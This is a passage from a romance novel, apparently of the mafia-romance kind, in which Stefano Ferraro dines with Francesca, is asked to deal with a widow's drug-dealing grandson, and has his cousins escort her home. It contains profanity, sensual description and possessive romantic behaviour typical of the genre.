He heard her swift inhale. Her eyes darkened. Lashes lowered. Her breasts rose and fell. She pulled her hand away, bringing the wineglass to her mouth. She definitely felt the chemistry between them just as strongly as he did. It was explosive. His body reacted, going as hard as a rock, something that just didn't happen to a man with his kind of discipline. He knew if he leaned into her and took her mouth, he'd ignite a firestorm—they both would.
She was dangerous to both of them. He had to stay in control around her and just being this close to her threatened that. He was the one shifting slightly to put distance between them, a mere inch, but even that little inch gave him a reprieve.
Tonio ran up, his thick, curly hair wild. Eyes shining. "I caught her, Signore Ferraro. Just as she was getting into her car."
"Good man, Tonio." He slipped his wallet out and handed the boy a bill. "I'm proud of you for looking after her. What do we do?"
Tonio puffed out his chest. "We always look after our women."
"That's right. Run along now and say hello to your parents for me."
The boy took the money and slipped it into his pocket. _"Grazie. Grazie."_ He grinned at Stefano. "Is _she_ one of our women?" He indicated Francesca.
Stefano nodded solemnly. "Tonio, this is Francesca. Francesca, Tonio. If you should ever need assistance, he is a good man and will come to your aid. Yes, Tonio, she's very special to me. She's one of ours." He glanced at his woman. She didn't know he was claiming her publicly, but that innocent question was welcome. Tonio would tell his parents exactly what Stefano had said to him. The boy always did.
Francesca looked pleased. He knew she would. She wouldn't be thinking about the underlying implication, only that the boy was cute.
"Pleased to meet you, Tonio," she said.
He nodded shyly. "Don't worry. I'll look out for you."
"Thank you. I appreciate that."
Tonio turned with a saucy grin and raced through the restaurant back to his parents' table. Stefano watched him go just to make certain he didn't knock over any of Tito's customers.
"He's adorable." Francesca dipped a breadstick into the marinara sauce and took a bite. Her eyes closed. "Wow. This is delicious."
"No one makes pizza, antipasto or marinara like Tito's family. They've been in the business for a couple of generations and they make the best. People come from all over to eat here."
"You sound proud."
"I am. They're a good family and they deserve success."
"You aren't anything like I thought you'd be," she ventured, and took another sip of wine.
"What did you think I'd be like?"
"I don't know. You seemed so scary when I first met you. I thought you were . . ." She trailed off and shook her head, color creeping under her skin.
"Tell me."
"I don't want you to be upset. It was silly of me. I was so nervous about the interview and it seemed as if everyone in the store was a little afraid of you when you came in. You also were abrupt and a little rude, dropping F-bombs all over the place."
He nodded. "I do that a lot, I'm afraid. More than once, Signora Moretti told me she was going to wash out my mouth, and that was this year."
She laughed. He loved the way she laughed. Just in the two days he'd been away from her, she seemed much more relaxed. "Her warning didn't do any good, did it?"
"No, I suppose it didn't," he admitted ruefully. "So tell me, Francesca, what did you think I was when we met?"
# CHAPTER FIVE
Francesca studied Stefano's face. He was intimidating, no question about it. Even with the way he interacted with little Tonio, he had a look about him that demanded respect. More, he commanded the room. She was acutely aware that every single person in the restaurant had turned to watch them as they made their way to their booth. Even now, people were watching. They were trying to pretend that they weren't, but she knew better. It was fairly clear that Stefano Ferrero was a well-known man. Liked by some, feared by others.
Still, there was an underlying sadness about him that she caught glimpses of, and everything in her rose to soothe him. Needed to do that. She wasn't altogether certain how or why she came to be sitting beside him, but she was fascinated by his take on the people in the neighborhood. There was genuine affection in his voice when he spoke of them. She liked that he knew so much about them and seemed to care.
Up close, he was hot, hot, hot. A gorgeous man. She couldn't believe how handsome he was. Tough looking. Confident. Even a bit arrogant, but one could forgive that when his face was so perfect. The angles and planes, the strong jaw and straight nose. His mouth fascinated her and she had to work not to stare at it. Twice she found herself doing just that and wondering what it would be like to feel his mouth on hers. A really stupid fantasy to have about a man she thought was mafia two days earlier.
Francesca was a little ashamed of herself that she'd thought that of him, even when he'd had a foul mouth and was so abrupt. Clearly she'd read the silence in the deli as something it wasn't. It felt like fear, but looking back, she had been terrified of everything that day and probably had just projected what she was feeling onto the crowd in Masci's.
She couldn't decide if she liked his eyes the best, or his voice. His eyes were a beautiful blue, dark and mysterious, with long black lashes that matched his thick, wavy hair. His voice was soft, pitched low, a warm honey that moved over her, promising all sorts of sinful things.
"Francesca."
His voice startled her right out of her fantasy. She blinked rapidly and brought him into focus. She hadn't had time to go over the things about his body that appealed to her, but it was probably just as well. She lifted her gaze to his, and everything in her stilled. Stefano stared straight into her eyes, capturing her without even trying. He held her there—she was unable to look away. She was totally mesmerized by him.
Francesca felt his power. Felt a connection between them. Her heart stuttered and then began to pound. He leaned toward her, frowning. His finger slid along her skin, right at her throat, skimming lightly over the shallow laceration where the knife had burned as it went into her flesh. She shivered at the way the blue of his eyes darkened so intimately.
"This is obscene. Someone putting hands on you. A knife to your throat. I'm sorry this happened, Francesca. This is normally a safe neighborhood. We have small things, petty, teenagers drinking too much and getting a little out of hand, but this . . ." He broke off, shaking his head.
Without warning he leaned into her and brushed her throat with his mouth. Her heart stopped beating. She was certain it had. She froze, unable to move. Unable to think because her brain had short-circuited. His hair brushed her chin and along her shoulder. She'd never felt anything so sensual in her life.
Her breasts ached. _Needed._ Her nipples pushed into the lace of her bra and suddenly the little lace panties she wore were damp. Her sex clenched hard. Her breath caught in her throat and she couldn't move even to save herself—and she had a feeling she needed to save herself. She wanted desperately to run her fingers in his thick dark hair. She knew it was soft because the thick strands moved against her chin and throat. She blinked and he lifted his head.
"I'm sorry," he repeated. "You must have been so scared." His voice whispered over her like the intimate brush of fingers.
She touched her tongue to her lips, trying not to imagine his mouth on hers. "I'll admit, I was afraid, but mostly because I didn't want them to get blood on your coat."
His eyebrow shot up. "You what?"
Her mouth curved in a rueful smile, although her heart hammered hard in her chest. "I didn't want to get any blood on your coat. I was wearing it and when he cut me, all I could think about was that the blood might run down my neck into your coat."
His eyes went scary dark. His face stilled. His fingers curled around the nape of her neck and he pulled her head toward his. "Are you telling me that you were so afraid of me that when a mugger put a knife to your throat, the thing you feared most was getting blood on my fucking coat?"
His voice had gone scary soft to match the devil shining in his eyes. Her heart jumped and then thudded hard. She was acutely aware of his fingers curled around her neck—of every detail of him. His warmth. His broad shoulders. His enormous strength. The way the pads of his fingers felt possessive on her skin. His scent enveloped her, surrounded her, until there was only him and the other people in the restaurant faded away. He was too close to her to breathe, the shadows in the booth enfolding them in an unexpected intimacy.
_"Dolce cuore."_ He breathed it.
She shouldn't like that he called her sweetheart. She shouldn't be sitting there with his hand curled around her neck. She was drowning, hypnotized by him. She'd never experienced such intense chemistry. She didn't even know physical attraction could be so strong. He was like a magnet and she couldn't seem to find the resistance necessary to break free.
"You're far more important than a fucking coat."
"It's your favorite," she whispered, shocking herself at what that admission implied. She'd been afraid of him, hadn't she? Not attracted. Not worried that he'd be upset over his coat and she didn't want that. Or that she'd come to love that coat and the way it made her feel.
"It's a coat, Francesca." His hand slid from her neck and he straightened, turning his head toward the interior of the restaurant.
She hadn't heard anything at all, yet he'd been aware of movement in the pizzeria. She blinked several times, trying to come out from under his spell, out from under the web of sexual attraction.
"Your pie," Tito said with a flourish, placing the pizza between them. "The house specialty. Enjoy." He winked at Francesca. "You'll think you're in heaven."
" _Grazie_ , Tito," Stefano said, shifting his body subtly to put himself once more very close to Francesca, his posture possessive.
Even Francesca saw the blatant warning. She smiled at Tito. "Thanks, it looks fantastic."
Tito nodded, gave them both a small salute and slipped away, leaving her once more alone with Stefano.
Francesca knew she had to protest Stefano's proprietorial behavior. She wasn't in a position to have any kind of a relationship and in any case, she didn't do casual. Stefano was way out of her league. She couldn't imagine that a man like him would want to date someone like her. She shopped at the thrift store. He'd be appalled if he saw where she lived. She was appalled whenever she went to her little apartment, but still, it was hers. She knew she'd faint if she ever saw where he lived. His coat cost more than three months' rent, maybe four.
Stefano put a slice of pizza on her plate. "No one makes pizza like Tito or his father. Benito Petrov is impressive. Big, like Tito, but that's where the similarity ends. Tito smiles all the time. Benito is very sober. Tito's sweet, and Benito is gruff."
"How did Tito get to be so different?"
"He takes after his mother. She was the sweetest woman alive. They lost her about seven years ago to breast cancer. Benito had a difficult time getting over it. That's when Tito stepped up and really took over the restaurant."
"What else is different about them?" Francesca was curious, but more, she loved to hear Stefano's voice. It was beautiful, perfectly pitched. Low. Sensual. She could listen to him talk all night.
"Benito is covered in tattoos, has one earring, is bald and looks like he would rip your throat out for a buck." He laughed softly. "He's a regular volunteer at the food bank and heads up the committee for fund-raising to help supplement it. He started a community garden with the idea that anyone could eat when they were hungry. He's been working on plans for a greenhouse so the food can be grown all year-round."
She forgot all about her protests and leaned on the heel of her hand, her eyes on his face. It was fascinating to see the way his expression softened when he talked about the neighborhood and its residents. "Where did they get the land for the gardens and greenhouse? I imagine that land here would be very expensive."
"Take a bite. You don't want to hurt Tito's feelings. The land was donated."
She knew his family had donated the land. She knew it instantly. She took a bite of the pizza and nearly moaned, it was so good.
He grinned knowingly at her, nodding. "Right? Superb."
"I had no idea anything could taste this good, let alone a pizza. I might be spending my paycheck here."
"On weekends, there's a line to get in. Petrov and Tito cater to the locals so there's an entrance around the side they open when the line's long. They slip the locals in. A few tables are held in reserve so they can seat them as soon as possible."
"This is a very tight-knit community, isn't it?"
He nodded. "Good people." He touched the scratch along her throat with a gentle finger. "I hate that this happened to you. I'm very sorry, Francesca."
She frowned at him. "Stefano." His name slipped out easier than it should have. She didn't care. She leaned close. "This wasn't your fault." That's why he had brought her to Tito's restaurant. He felt guilty. She felt such an overwhelming sense of physical attraction she'd nearly made the mistake of thinking it had to be mutual. He felt responsible. He watched out for the residents and someone had tried to mug her. "Please stop worrying about it. I'm perfectly fine."
"I had my cousins watching over you, but I told them to hang back so you wouldn't feel crowded. That was my mistake. Most residents are known. You're new. Criminals stay away, but . . ."
"Technically, we left the neighborhood," Francesca pointed out. Without thinking she laid her hand over Stefano's. "You had no responsibility in what happened to me."
The moment her palm curved over the back of his hand, she knew she had made a mistake. His heat seemed to fuse them together. Little sparks of electricity crackled along her nerve endings. She jerked her hand away, feeling as if she'd just gotten burned. Not burned. Branded. She'd laid her hand over his, yet she felt as if he'd captured her. Connected them. That connection seemed to grow stronger each time they physically touched.
"Any resident of our neighborhood should be safe anywhere they go in the city," he said, his voice suddenly scary. "They blew half of Cencio's face off. His own mother couldn't even see him in the coffin one last time." He sounded fierce. Guilty. As if somehow he was responsible for Cencio's death. He sounded grief-stricken.
That was the worst. That a man like Stefano, so arrogant, so confident, strong and absolutely a rock could be so shaken. She couldn't help herself. She shook her head, her eyes meeting his. She had to take that pain from him, she didn't know why, but she had no choice. "I know what grief is, Stefano. To suffer the loss of a loved one through murder. To feel responsible when really, there was nothing I could have done. You can't look out for every single person in your neighborhood. It's impossible. You aren't responsible for me or the attack on me." Her voice was soft, persuasive.
She couldn't believe she'd given away what she had. She didn't talk about her past; she didn't dare. Still, she had to take the pain from his eyes. Her heart hurt just looking at the pain.
His eyes changed. Focused completely on her. Saw too much. Took her breath. Made her heart flutter and her stomach do a slow roll.
"Someone you loved was murdered?"
She nodded. "I shouldn't have said anything. I just don't want you to think that you have to protect the entire world because your friend died. You can't, Stefano."
"Not the entire world, Francesca." He picked up her hand and idly played with her fingers.
She should have pulled her hand away, but she couldn't make herself be that mean, not when she was trying to make him see reason. It was just that, with his fingers moving through hers, brushing along and between them, her body reacted, making her all too aware of secret places and a growing hunger—for him.
"Just my neighborhood. Just the people in my world. Someone has to look after them, and that's my job."
She wanted to cry for him. It was no wonder that that first time he'd walked into Masci's he'd seemed so alone. So remote. He had taken on an impossible task, even to the point of looking out for a total stranger. She shook her head and reached for the wineglass, needing to do something to counteract the empathy and awareness of him.
"Where is your family?" he asked.
She knew sooner or later he'd ask. It was a natural enough question. "I don't have any family. My parents died in a car wreck when I was fourteen. I didn't have any aunts or uncles or grandparents. You have a big family, but it was just my sister, Cella, and me. She was older by nine years so she raised me."
There was a silence. He leaned back in the booth, his arm sliding along the back of the seat. "Are you telling me Cella was the one murdered?" There was an edge to his voice.
"I don't like to talk about it." She took another sip of wine. "I shouldn't have brought it up."
"You were trying to make me feel better. That just pisses me off. Someone fucking murders my best friend, Cencio, as he walks out of a theater, and someone murders your only sister."
The vibe around them got a little scary, as if his anger was so oppressive it could weigh down the entire room.
"Was it random? A stranger?"
_Like Cencio?_ he was asking. She shook her head before she could stop herself. How had she allowed such personal information to slip out? They'd been having a good conversation, and just like that she'd ruined the mood. Stefano was intense. His anger was intense. He'd gone from being sweet and easygoing to vulnerable and then dangerous in the space of a couple of minutes.
"I'm sorry I spoiled the mood," she said, trying to backpedal. "You were relaxing and I just . . ." She broke off when his fingers went to her neck, massaging the knots there, in an effort to ease the tension out of her.
"You didn't kill the mood, Francesca. You were trying to help me and I appreciate it. Very few people would have even seen that I'm still carrying that load around with me. I appreciate you sharing."
His voice was very low. Intimate. His eyes met hers and her stomach did another somersault. He was just plain beautiful.
"Signore Ferraro," a voice called from across the room.
She saw impatience cross his face, but it was swiftly masked. When Stefano turned to see the woman standing in the doorway, a good distance from them, he did so with a smile. The woman looked every day of eighty. She was short and a little bent, her skin thin and her face still beautiful in spite of the few wrinkles proclaiming she'd lived her life. She wore a long black dress and matching shawl and she wrung her hands together as she hurried through the restaurant toward them, weaving her way through the tables and ignoring Berta, who tried to stop her.
Stefano raised his hand to Berta and she skidded to a halt and then went back to her station. Stefano rose as the older woman made it to them. He towered over her, settling his arm around her shoulders with a gentleness that took Francesca's breath. No one would ever guess that he was the least bit impatient with the interruption. To Francesca's dismay the woman had tears in her eyes and her lips trembled.
"Signora Vitale, you're upset. Please sit for a moment and join us. Have a glass of wine." There was nothing but solicitation in Stefano's voice.
He held up his wineglass toward Berta, who clearly had been watching along with everyone else in the restaurant. She hurried toward them and placed another wineglass on the table as Stefano helped the older woman into the seat across from Francesca.
"Signora Vitale, may I present Francesca Capello? Francesca, this is Theresa Vitale, a dear friend of mine."
Francesca loved how gentle his hands were when they touched the older woman, pushing the glass of wine into her hand and keeping contact with her. More, his voice was soft with affection. She murmured a greeting, knowing the woman barely registered her presence. Signora Vitale's entire attention was centered on Stefano.
"Drink that and then tell me what has upset you."
Theresa took the wine in shaking hands and obediently took a sip. Francesca couldn't imagine anyone disobeying Stefano, not even a woman of Theresa's age. He might be gentle, but there was no mistaking that he was the absolute authority.
"Perhaps I should leave, give you privacy," Francesca ventured.
Stefano's fingers slid around her wrist, shackling her to him. "No. Stay. Please."
Her heart fluttered at the soft _please_. He had issued a command to her, but then he'd added that one little word that changed everything. She nodded, and he relaxed his hold on her. Instead of shackling her, the pad of his thumb brushed intimately along her inner wrist.
For the first time, Theresa looked at Francesca, dropped her gaze to Stefano's fingers around her wrist and then her eyes went wide as she looked at his face. "I'm interrupting something important." A fresh flood of tears came and she rocked herself back and forth.
"Francesca doesn't mind any more than I do, Theresa," he said gently, using her given name. "Do you, _bambina_?" he asked, his eyes on hers.
"Of course not," she immediately replied. "Please don't be distressed."
Theresa drank her wine and placed the empty glass directly in front of Stefano. Still keeping his hold on Francesca, he obliged Theresa by pouring her more.
"It's my grandson, Bruno," Theresa confessed, her voice very low. "He's in trouble again."
Stefano sighed and sank back against the booth, his thigh brushing Francesca's. He brought her hand to his mouth, nibbling on her fingertips absently, as if he had forgotten it was an actual flesh-and-blood hand. The feel of his mouth on her skin was even more intimate than when his thumb had brushed her inner wrist. The ache in her breasts increased and her body responded with more damp heat. His eyes were hooded, impossible to read, but Francesca had the feeling he was exasperated with the conversation, not at all aware of the explosive chemistry she was feeling.
"What kind of trouble this time?"
Theresa took another gulp of wine, looked left and right and then lowered her voice. "Drugs," she whispered. "I think he's selling them for someone and I think the police are watching him. He can't get arrested again. He just can't."
Stefano didn't move. He didn't speak. Around them, the air got heavier. Darker. Francesca felt the scary vibe he gave off. She knew immediately that Theresa's grandson was in far more trouble with Stefano than he would have been with the police. Theresa didn't seem to notice, but the rest of the people in the room did. Heads turned and conversation grew muted.
"What do you want me to do, Theresa?" he asked, the tone pitched very low. His voice was devoid of all feeling. His face was set in hard, implacable lines. Expressionless.
Francesca gently tried to pull her hand away, mostly because she was so aware of him, she couldn't think straight. His fingers tightened around hers and he bit down with his strong white perfect teeth. The little bite of pain sent a streak of fire straight to her sex. He pulled the finger into his mouth, his tongue curling around the bite, soothing the sting.
She froze. He wasn't looking at her. She wasn't even certain he knew she was there. His entire focus seemed to be on the older woman.
"You have to talk to him, Stefano. You have to talk to him," Theresa repeated. "If he gets caught, he'll go to prison this time. He's a good boy. He needed a father. My daughter, she was no good. You know that. Always the drugs with her. She just left him, and then my beautiful Alberto died and there is only me. I pray, but God is not listening to me. You have to, Stefano."
Francesca stopped trying to pull her hand away. Her heart hurt for Stefano. Everyone expected him to take care of their problems. It was clear this wasn't the first time Theresa had come to Stefano and Francesca was certain it wouldn't be the last. He carried a terrible weight on his shoulders.
"Bruno is twenty-four years old, Theresa. No one can stop him from doing what he wants. I've talked to him."
Theresa took a deep breath. "You haven't made yourself clear."
There was a long silence. The air was suddenly charged with tension. Most of that was coming from Stefano, but Theresa looked both scared and nervous.
"Are you certain you know what you're asking me, Theresa?" Stefano's voice dropped even lower, almost a whisper. Gentle. Still, it was somehow very menacing.
The old lady nodded. "He has to know there are consequences. It is the only way. Nothing has worked."
"There is no taking it back."
"I understand."
Francesca didn't. She was missing something big. Huge. Whatever Signora Vitale was asking for, Stefano was reluctant to do. She moved closer to him, wanting to comfort him. She didn't understand why, especially since his scary persona was back. As he sat there in his pin-striped suit with his expressionless mask and flat, cold eyes, she could understand why she'd first thought he was in the mafia. No Hollywood movie would ever find a better man to play the part.
Theresa held his eyes for a long time. Stefano lowered his long lashes as if weary beyond measure and then he lifted them. " _Bambina_ , I'm sorry." He leaned into Francesca and brushed a kiss over her forehead. At the same time, still holding her hand, he slid his index finger out and drew a soothing line along the scratch at her throat. "I had planned to walk you home, make certain you were safe, but I'm going to have to take care of this."
"That's all right. I can get home by myself." Francesca could see the reluctance to leave her in his eyes. He really didn't want to go and that made some small part of her very satisfied, even though the bigger part of her knew she was being a little delusional in thinking his concern could be anything but fear for her safety.
He shook his head as he lifted his hand to Berta and she came running. "Put this on my tab," he said to the woman. He left two twenty-dollar bills on the table as he rose, a huge tip, and held out his hand to assist Theresa Vitale in rising. "My cousins will be waiting outside for you, Francesca. Please allow them to see you home."
She smiled at him. "It's unnecessary."
"I disagree."
His tone told her not to argue. His eyes and the hard look on his face told her the same. He was a scary man to defy, but she might have argued just on principle if she hadn't seen him so vulnerable over his friend's death. If she hadn't figured out that he needed to protect everyone around him.
"All right then," she conceded, not sounding very gracious. She'd enjoyed their talk together far more than she'd expected and she liked him much better than she had thought possible. Maybe too much. She'd certainly told him too much about herself. She was especially grateful that when she'd made that mistake, he hadn't pried further. "Oh no. Stefano, your coat."
He shrugged. "Did you get yourself a coat?"
She shook her head, not meeting his eyes. He wouldn't like that. He'd specifically told her to buy a coat. It was just that all the ones in the neighborhood were expensive. She wasn't going to use his money for a coat. "I'm saving for one."
"Francesca." There was warning in his voice. "Look at me."
"Go. You have things to do."
His fingers caught her chin and tipped her face up to his. "Nothing is more important to me. Get. A. _Fucking_. Coat."
It was difficult to look into his eyes and not give him anything he wanted, even when he swore the way he did. "Stefano."
"Francesca."
He actually growled her name. She didn't think a person could make that particular sound, but he managed it. Everyone in the restaurant stared at them. Waiting. Horrified at her defiance. She knew they couldn't possibly hear the exchange, but they could read body language and see that Stefano Ferraro was not happy with her.
He sighed. "Wear my coat home and be warm. I'll come by later this evening and see you."
Her heart plunged. He couldn't possibly come to her apartment building. The place would fall down if he walked into it. She didn't live in Ferraro territory. Joanna had explained the boundaries to her, and her apartment building definitely fell outside of it. Surely he didn't mean he would come to her apartment?
"Give me your cell. I'll put my numbers in."
This time her heart started pounding. She didn't have a cell, and she knew instinctively he wouldn't like that, either. It must have showed on his face because he swore savagely in Italian.
"Really? Damn it, Francesca. Do you know the first fucking thing about self-preservation?" His blue gaze glittered dangerously with pure menace.
Her stomach tightened. He was scary. Plain scary. Anger radiated off of him in waves. There he was. The man she'd first met. The man capable of just about anything—excepthis anger was over her safety and she understood him better.
"Some things have to be a priority, Stefano," she said in a low voice, determined not to match his anger because she was embarrassed over her circumstances. "Like food and shelter. Even if I could save the money for a cell phone, I'd have to have a monthly plan. That costs money. I'm just getting on my feet."
She tried to sound matter-of-fact. She didn't want him to think for one moment that she was complaining. For the first time in a long while she had hope. She had a job where she earned better money than she had thought she would. She liked the job and the neighborhood. She had a roof over her head. She didn't want him to feel responsible for her. She was responsible for herself.
He took a deep breath and, to her shock, nodded his understanding. His fingers left her chin. "I'll catch up with you later." Abruptly he turned and, slipping his hand under Theresa's elbow, led her out.
Francesca sank back down into the seat. She was exhausted. Totally. Going up against Stefano Ferraro was a bit like going up against a force of nature. She felt a little battered and bruised and yet he'd been very gentle when he touched her.
She picked up her wineglass and took another sip. It was excellent wine. She couldn't remember if she'd told him so. She hadn't remembered to thank him for the meal—and it was a fantastic meal. If her stomach hadn't shrunk so much she would have eaten far more. As it was, she was taking the rest of the pizza home with her. No way was she wasting it.
"Hey, girl!" Joanna slid into her booth. "Wow. Can I just say _wow_?"
"Where did you come from?" Francesca asked. She looked past her friend but she was alone.
"Eating with Stefano Ferraro? You didn't tell me you had a date."
"It wasn't a date. He wanted to talk to me."
"About?" Joanna prompted, and helped herself to a slice of the pizza. "Was this his glass? Because I'm totally drinking out of it. If you know where his lips touched, just point out the spot and I'm all about setting my lips right over his. He's that hot."
Francesca burst out laughing. Joanna had brought back fun into her life. She'd forgotten what fun was.
"I stopped by the deli and Zio told me Stefano had kidnapped you. It's so _romantic_. I have to admit, I stalked the two of you, just to see how things were going. The Ferraros always sit back here and it's hard to see them in the booth. They kind of disappear into the shadows. You did, too, so even though I bribed Berta with three dollars—that's all I had— _and_ she's my friend—I couldn't get seated close enough to the two of you to eavesdrop. So not fair." She picked up the wine bottle and read the label. "Oh. My. God. Of course he got you this. It's like the most expensive bottle I've ever heard of and there's not a drop left."
Francesca handed over her wineglass immediately. "I've had too much. It really is that good. But so is the pie."
"Tito and Benito are the _best_. You can totally have an orgasm eating their pizza. But if I'd been sitting that entire time with Stefano, I would have had, like, ten orgasms. He smolders with sex. He walks into a room and doesn't have to say or do anything."
"His voice can do it, too," Francesca confessed, and then covered her mouth. She'd had _way_ too much wine to give that away.
Joanna laughed and then took a slow sip of the wine from Francesca's glass. Her eyes closed and she moaned. "I'm in heaven right now. This has been the _best_ day."
"Really? Aside from your perving on Stefano Ferraro, what else happened?"
"I got a call from"—Joanna leaned close for dramatic effect—" _Emmanuelle Ferraro_. Can you believe that?"
"Stefano's sister?"
Joanna nodded solemnly. "She's the baby in the family. Can you imagine having five big brothers like hers? All of them are like Stefano. Definitely in charge. She never dates, but then I don't think there's a man on earth who would dare try it. They'd probably disappear, never to be found."
Francesca went still. "Joanna, seriously. You have to tell me the truth. Are the Ferraros a mafia family?" Because she actually _liked_ Stefano. He'd given away so much about himself, and she liked what he'd given away.
Joanna glanced around the room. "It's not a good idea to talk about things like that, Francesca. Not ever. The Ferraros are different."
"Joanna," Francesca warned. "You're my friend. I'm not going to talk about it to anyone else. I'm talking to you."
Joanna sighed, took another sip of wine and then shrugged. "I don't honestly know. They could be. I know they've been investigated but nothing was ever proved against them. The family is very powerful internationally and they have like a bazillion cousins. Not just here, but all over the United States and Europe. No one has ever found anything on them, but people are afraid of them. Not us. Not here in their territory, but others. I don't know," she finished. "It's possible. Maybe even probable."
Francesca sighed. It wasn't an answer. It was speculation. She knew better than anyone how rumors got started and became truth in everyone's mind. She wasn't going to do that to anyone, believe gossip without proof. Still, she had to be wary.
"So tell me about Emmanuelle's phone call," she prompted.
"She said Giovanni told her about how I couldn't get into their club and she wanted to personally invite me to go with her and her cousins. She said I could bring anyone I wanted along. I thought I could ask Mario Bandoni—you know, you met him. He manages the shoe store. I already mentioned it to him and he seemed receptive." Her words tumbled over one another, and she leaned toward Francesca. "I've liked him forever. Even in elementary school. He was always so popular and I could never make myself make a play for him because I really, really liked him. I thought you could go and it wouldn't seem like I was asking him on a real date. Just casual, you know, a big crowd."
"Joanna, if you're going with Emmanuelle and her cousins, that's already a crowd." Francesca didn't want to let her down, but she couldn't go to a hot nightclub in her holey jeans.
"But not _my_ crowd. I don't run in her circles, and neither does Mario. We're acquaintances, but not real friends. They aren't just rich, Francesca—they're ultrawealthy. I like them, but I'm not comfortable with them. I can't imagine that they're going to hang around with me in a nightclub. They'll be sitting in the VIP section and I'll be down on the floor, trying not to be tongue-tied with Mario."
"Honey," Francesca said softly. "You're never tongue-tied with men."
A thread of unease crept through her and she glanced up to look around the restaurant. Her gaze collided with a man's. He was across the room, standing by the hostess booth. A shiver went down her spine. He was medium height, but powerfully built. Wide shoulders, a thick chest. He had the body of a prizefighter. He wore his hair cropped close. From the distance she couldn't tell the color of his eyes, but his mouth was set in a forbidding scowl. He looked vaguely familiar.
Berta said something to him and he instantly turned his attention to her, smiling down at her. Francesca sighed and forced her gaze back to her friend. She was just being overly paranoid. She was hundreds of miles from California. No one knew where she was. She'd covered her tracks fairly well. She took a breath and turned her full attention back to Joanna, having missed her reply.
"What did you say?"
"I said, you've never seen me around a man I really, really like. I make a total fool of myself. Please, Francesca. Do this for me. I'll help find you something to wear. I can even help pay . . ."
_"Don't,"_ Francesca cautioned. "You've done enough for me. You want me to go, I'll find a way." Hopefully she could find something decent at the thrift shop. If not, she might have to dip into the money Stefano had left with her and that would be humiliating. She wanted to return the money along with the coat when she saw him next.
"Thank you, Francesca. This means the world to me," Joanna said happily.
"Are you ready? I have to retrieve Stefano's coat before your uncle closes up for the night."
Joanna laughed again. "You and that coat."
"Right? It's the bane of my existence."
Francesca followed Joanna from the pizza parlor. Joanna called a greeting to several people and waved toward the kitchen as they made their exit. The boxer—as Francesca thought of him—seemed to be waiting for a to-go order. She kept her eye on him just in case, but he didn't appear to pay any more attention to her.
Emilio and Enzo lounged by the door, and it was all she could do not to roll her eyes at them. They both grinned and put away their cell phones when she emerged.
"You cold?" Emilio asked.
She shook her head. Lying. The restaurant had been warm and the evening was very cool, but she knew if she admitted she was, Emilio would have whipped off his coat and then she'd be responsible for two of the darn things. Everyone seemed obsessed with her lack of a coat.
"Hey Emilio. Enzo," Joanna greeted. "Out for a stroll again tonight?"
"Got orders, Jo," Enzo said. "You two troublemakers decide you're going to rob the jewelry shop, we've got orders to stop you."
"So not fair! I've had my eye on a diamond bracelet," Joanna declared.
"Sorry, girl. You're going to have to give up that particular dream," he said.
The door opened behind them and Francesca glanced over her shoulder. The boxer had emerged carrying a small box. He looked toward them and then abruptly turned the other way and walked unhurriedly down the street. When she turned back, Emilio was watching her. He raised his gaze to follow the man's departure.
"Someone you know?" he asked. Low. Lethal.
He sounded just that little bit like Stefano. Definitely a relative. She shook her head. "I'm just a little jumpy." She touched her throat deliberately. The last thing she wanted was for Emilio to report an innocent man to Stefano. She didn't know what he might do, but she was leery. Until she knew what he was, criminal or just a very overprotective man, she was going to be very, very careful.
"We're walking with you, Francesca," Emilio said. "No one is going to touch you." She saw the weapon hidden in the shoulder holster beneath his jacket when he moved. Like his cousin, both men wore suits, although not pin-striped. They were attractive and dangerous looking. She had to admit she felt safe with them.
"Thanks. I didn't realize what a baby I've been until just now. I appreciate you taking the time."
_"Sei famiglia,"_ he said.
She didn't touch that. They stopped at the deli and retrieved Stefano's coat. Emilio, a gentleman like his cousin, held it out for her to slip into. She drew it around her, very close, loving the warmth. Loving that it still held Stefano's scent. Joanna remained at the deli with her uncle while the two men walked with her to her apartment.
Francesca liked that they walked to her building. She stopped outside of it. Until that moment, she hadn't been aware of just how different her building was from the ones they'd just passed. In the Ferraro neighborhood, all along the street where the businesses were, the buildings were immaculate, as were the sidewalks. Her apartment building was old and crumbling. Litter and debris were scattered everywhere along the walkway and, she knew, inside the building itself. Worse, it wasn't that difficult to spot a needle or two lying near the entrance to the alley that ran along the side of the building.
"This is good," she said firmly, halting abruptly. "I can take it from here."
"Got orders, Francesca," Enzo said.
They even talked like Stefano, in clipped, abrupt sentences when she knew they had the best education possible from private, very expensive schools as well as tutors in the home. Joanna had given her the magazines to read, the ones that had tons of information regarding the Ferraro family with their fast cars and faster women.
"Take a risk. Live dangerously. Ignore them," she advised.
Emilio reached above her head and pulled open the door. "That's not going to happen. You obviously don't know Stefano. He'd skin us alive if we took another chance with your safety. How come anyone can walk into this building?"
She sighed. "If you insist on coming upstairs with me, try not to sound like him. It's annoying."
Truthfully, she hated walking into her apartment building, especially walking past the owner's apartment. She was always afraid he'd open the door, and he was . . . disgusting. She didn't feel in the least bit safe, but it was a step above sleeping on the street, her only alternative. There was something very creepy about the apartments. Oily and disgusting. She was fairly certain drug deals took place regularly both inside and outside of the building. She'd already stepped on a needle that had been thrown on the stairs. Luckily she'd been in her new boots and not her holey shoes.
The place was poorly lit. The stairs were creaky and the carpet torn and shabby. The walls were dingy and smelled like smoke. Still, it was a roof. It was cheap. She needed both.
Her apartment was on the third floor. She unlocked it, and before she could say anything, Emilio gently set her aside and went in first. Enzo kept a hand on her shoulder to prevent her from moving as Emilio walked through her apartment. That had to be one of the most humiliating moments of her life. She didn't look at Emilio when he emerged. She knew what she'd see on his face.
He handed her the keys. "All clear. Lock the fucking door, Francesca, not that it will do you any good."
Yep. He sounded just like his cousin. And he was unhappy.
# CHAPTER SIX
Stefano rode the shadows to Francesca's apartment building, his gut in knots, his rather famous temper held in check by a mere thread. He was furious. Beyond furious. Emilio had been tense, quiet, and very upset when he'd described the apartment Francesca resided in. He'd bit out the ugly description between clenched teeth, a muscle working hard in his jaw. There was a storm of fury gathered in his eyes.
The Ferraro neighborhood stopped just two small storefronts before her building. Their block ended and they paid little attention to the state of properties bordering them. They couldn't monitor the entire world, so they were careful not to interfere, other than to warn any criminal coming into their territory not to come back.
_Why the hell had Joanna allowed her friend to get an apartment outside their territory?_ He wanted to pay her a visit, yank her ass out of her comfortable bed in her safe home and demand the reason. It was fucking bullshit to allow Francesca in harm's way while Joanna was taking advantage of the Ferraro protection.
